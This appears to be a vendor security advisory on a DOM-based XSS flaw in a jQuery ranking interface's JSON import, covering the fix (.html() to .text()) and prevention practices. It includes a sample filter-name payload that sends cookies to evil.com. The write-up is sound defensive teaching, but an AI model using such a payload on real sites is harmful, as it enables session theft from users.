Introduction
In the CustomRankingInterface.js file, a critical DOM-based XSS vulnerability lurked at line 133, waiting to be exploited. The file handles custom cup configuration imports—a feature that lets users share and load ranking filters via JSON. However, a single unsafe jQuery method call in the filter rendering logic created a dangerous attack vector.
The vulnerable code path was straightforward: when users imported JSON configurations through a textarea, the application would iterate through filter objects and render their names directly into the DOM. The problem? It used jQuery's .html() method, which interprets its argument as HTML markup rather than plain text.
$filter.find("a.toggle .name").html(filters[i].name);
This line at position 136 in the original code became the injection point. Any JavaScript payload embedded in a filter's name property would execute immediately upon import.
The Vulnerability Explained
DOM-based XSS occurs when client-side JavaScript writes untrusted data to the DOM in an unsafe way. Unlike reflected or stored XSS, the malicious payload never touches the server—it's processed entirely in the victim's browser.
Here's the vulnerable code in context:
var $filter = $(".filter.clone").clone();
$filter.removeClass("hide clone");
$filter.attr("index", i);
$filter.find("a.toggle .name").html(filters[i].name); // VULNERABLE LINE
$filter.attr("type", filters[i].filterType);
$el.append($filter);
The filters[i].name value comes directly from user-imported JSON data. When an attacker crafts a malicious configuration file, they can embed JavaScript in the filter name:
{
"filters": [
{
"name": "<img src=x onerror='document.location=\"https://evil.com/steal?cookie=\"+document.cookie'>",
"filterType": "custom"
}
]
}
Attack Scenario
- Attacker crafts payload: The attacker creates a custom cup configuration JSON file with an XSS payload embedded in a filter name field
- Social engineering: The attacker shares this "helpful" configuration on forums, Discord servers, or directly with targets
- Victim imports: The victim pastes the JSON into the import textarea, believing it's a legitimate configuration
- Payload executes: jQuery's
.html()method parses the malicious filter name as HTML, the browser encounters the<img>tag with anonerrorhandler, and the JavaScript executes - Impact: The attacker can steal session cookies, perform actions as the victim, redirect to phishing pages, or inject additional malicious content
Real-World Impact
For this application, successful exploitation could allow attackers to:
- Steal authentication tokens and session data
- Modify ranking configurations without user knowledge
- Inject persistent malicious content into the user's saved configurations
- Perform any action the victim can perform within the application
The Fix
The fix is elegant in its simplicity—a single method change that completely neutralizes the vulnerability:
Before (Vulnerable)
$filter.find("a.toggle .name").html(filters[i].name);
After (Secure)
$filter.find("a.toggle .name").text(filters[i].name);
The difference between .html() and .text() is critical:
| Method | Behavior | Security |
|---|---|---|
.html() |
Parses argument as HTML markup | Dangerous - executes scripts |
.text() |
Treats argument as plain text | Safe - escapes HTML entities |
When you use .text(), jQuery automatically escapes HTML special characters:
- < becomes <
- > becomes >
- " becomes "
- & becomes &
So our malicious payload:
<img src=x onerror='alert(1)'>
Gets rendered as literal text:
<img src=x onerror='alert(1)'>
The browser displays the text instead of parsing it as HTML, completely preventing script execution while still showing the filter name to users.
Prevention & Best Practices
1. Default to Safe Methods
Always use .text() or .textContent unless you explicitly need HTML rendering. If you must render HTML, sanitize it first with a library like DOMPurify:
// Safe: plain text
$element.text(userInput);
// If HTML is required, sanitize first
$element.html(DOMPurify.sanitize(userInput));
2. Content Security Policy (CSP)
Implement a strict CSP header to provide defense in depth:
Content-Security-Policy: default-src 'self'; script-src 'self'
3. Input Validation
While output encoding is the primary defense, validate JSON imports against a strict schema:
function validateFilter(filter) {
if (typeof filter.name !== 'string' || filter.name.length > 100) {
throw new Error('Invalid filter name');
}
// Additional validation...
}
4. Code Review Checklist
Flag these patterns during code review:
- .html() with any variable input
- .innerHTML assignments
- document.write() calls
- jQuery selectors built from user input
5. Static Analysis
Configure ESLint with security plugins to catch these patterns automatically:
{
"plugins": ["security"],
"rules": {
"security/detect-unsafe-regex": "error"
}
}
Key Takeaways
- Never use
.html()with user-controlled data in CustomRankingInterface.js or any file handling imported configurations - JSON imports are attack vectors — treat all fields in user-provided JSON as potentially malicious, not just obvious input fields
- The filter name field was exploitable because it was rendered with
.html()at line 136, demonstrating that any displayed field can be an XSS sink - One character saved the day — changing
htmltotextcompletely eliminated the vulnerability while preserving functionality - Defense in depth matters — combine safe rendering methods with CSP headers and input validation
How Orbis AppSec Detected This
- Source: User-imported JSON data via textarea, specifically the
filters[i].nameproperty from custom cup configurations - Sink:
$filter.find("a.toggle .name").html(filters[i].name)insrc/js/interface/CustomRankingInterface.js:136 - Missing control: No HTML encoding or sanitization of the filter name before DOM insertion
- CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Fix: Replaced
.html()with.text()to automatically escape HTML entities and prevent script execution
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This DOM-based XSS vulnerability in CustomRankingInterface.js demonstrates how a single unsafe jQuery method can create a critical security hole. The attack vector—malicious JSON imports—is particularly insidious because users often trust configuration files shared within their communities.
The fix was straightforward: replace .html() with .text(). This pattern applies universally across jQuery codebases. Whenever you're rendering user-controlled data into the DOM, ask yourself: "Does this need to be interpreted as HTML?" If the answer is no—and it usually is—use the safe text methods.
Remember: security vulnerabilities often hide in the most mundane code. A filter name display seems harmless until it becomes an XSS injection point. Stay vigilant, use safe APIs by default, and let automated tools catch the patterns you might miss.